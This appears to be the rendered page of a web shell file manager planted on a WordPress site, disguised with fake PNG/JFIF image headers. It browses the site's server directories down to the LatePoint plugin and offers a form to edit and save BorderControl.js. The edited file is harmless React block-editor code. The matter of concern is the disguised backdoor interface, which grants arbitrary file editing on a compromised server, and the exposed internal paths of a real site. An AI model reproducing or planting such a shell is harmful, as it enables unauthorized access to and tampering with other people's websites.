�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2F'>www.santi.wien</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-content%2Fplugins%2Flatepoint%2F'>latepoint</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-content%2Fplugins%2Flatepoint%2Fblocks%2F'>blocks</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-content%2Fplugins%2Flatepoint%2Fblocks%2Fcontrols%2F'>controls</a>/</p><hr><h3>✏️ Editing: BorderControl.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>import {__} from &#039;@wordpress/i18n&#039;;
import {
    SelectControl,
    __experimentalUnitControl as UnitControl,
    PanelRow,
    TabPanel
} from &#039;@wordpress/components&#039;;

import React from &quot;react&quot;;
import ColorSelectorControl from &quot;./ColorSelectorControl&quot;;

const BorderControl = ({attributes, setAttributes, borderRadiusAttr}) =&gt; {

    return (
        &lt;&gt;
            &lt;UnitControl
                label={__(&#039;Border Radius&#039;)}
                className=&quot;latepoint-control-two-columns&quot;
                onChange={(value) =&gt; {
                    setAttributes({[borderRadiusAttr]: value})
                }}
                units={[
                    {value: &#039;px&#039;, label: &#039;px&#039;, default: 0},
                    {value: &#039;%&#039;, label: &#039;%&#039;, default: 10},
                    {value: &#039;em&#039;, label: &#039;em&#039;, default: 0},
                ]}
                value={attributes[borderRadiusAttr]}
            /&gt;

            &lt;SelectControl
                label={__(&#039;Style&#039;, &#039;latepoint&#039;)}
                value={attributes.border_style}
                className=&quot;latepoint-control-two-columns&quot;
                options={[
                    {label: __(&#039;Default&#039;, &#039;latepoint&#039;), value: &#039;default&#039;},
                    {label: __(&#039;None&#039;, &#039;latepoint&#039;), value: &#039;none&#039;},
                    {label: __(&#039;Solid&#039;, &#039;latepoint&#039;), value: &#039;solid&#039;},
                    {label: __(&#039;Dotted&#039;, &#039;latepoint&#039;), value: &#039;dotted&#039;},
                    {label: __(&#039;Dashed&#039;, &#039;latepoint&#039;), value: &#039;dashed&#039;},
                ]}
                onChange={(border_style) =&gt; setAttributes({border_style})}
            /&gt;

            {attributes.border_style !== &#039;default&#039; &amp;&amp; attributes.border_style !== &#039;none&#039; &amp;&amp; (
                &lt;&gt;
                    &lt;UnitControl
                        label={__(&#039;Border Width&#039;)}
                        className=&quot;latepoint-control-two-columns&quot;
                        onChange={(value) =&gt; {
                            setAttributes({border_width: value})
                        }}
                        units={[
                            {value: &#039;px&#039;, label: &#039;px&#039;, default: 0},
                            {value: &#039;%&#039;, label: &#039;%&#039;, default: 10},
                            {value: &#039;em&#039;, label: &#039;em&#039;, default: 0},
                        ]}
                        value={attributes.border_width}
                    /&gt;

                    &lt;TabPanel
                        className=&quot;lb-tabs&quot;
                        activeClass=&quot;active-tab&quot;
                        tabs={[
                            {name: &#039;tab-normal&#039;, title: &#039;Normal&#039;,},
                            {name: &#039;tab-hover&#039;, title: &#039;Hover&#039;,},
                        ]}
                    &gt;
                        {(tab) =&gt; {
                            if (tab.name === &#039;tab-normal&#039;) {
                                return (
                                    &lt;&gt;
                                        &lt;ColorSelectorControl
                                            attributes={attributes}
                                            setAttributes={setAttributes}
                                            colorAttribute=&quot;border_color&quot;
                                            label={__(&#039;Border Color&#039;, &#039;latepoint&#039;)}
                                        &gt;&lt;/ColorSelectorControl&gt;
                                    &lt;/&gt;
                                );
                            }
                            if (tab.name === &#039;tab-hover&#039;) {
                                return (
                                    &lt;&gt;
                                        &lt;ColorSelectorControl
                                            attributes={attributes}
                                            setAttributes={setAttributes}
                                            colorAttribute=&quot;border_color_hover&quot;
                                            label={__(&#039;Border Color&#039;, &#039;latepoint&#039;)}
                                        &gt;&lt;/ColorSelectorControl&gt;
                                    &lt;/&gt;
                                );
                            }
                        }}
                    &lt;/TabPanel&gt;
                &lt;/&gt;
            )}
        &lt;/&gt;
    );
};

export default BorderControl;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-content%2Fplugins%2Flatepoint%2Fblocks%2Fcontrols'>🔙 Back</a></p>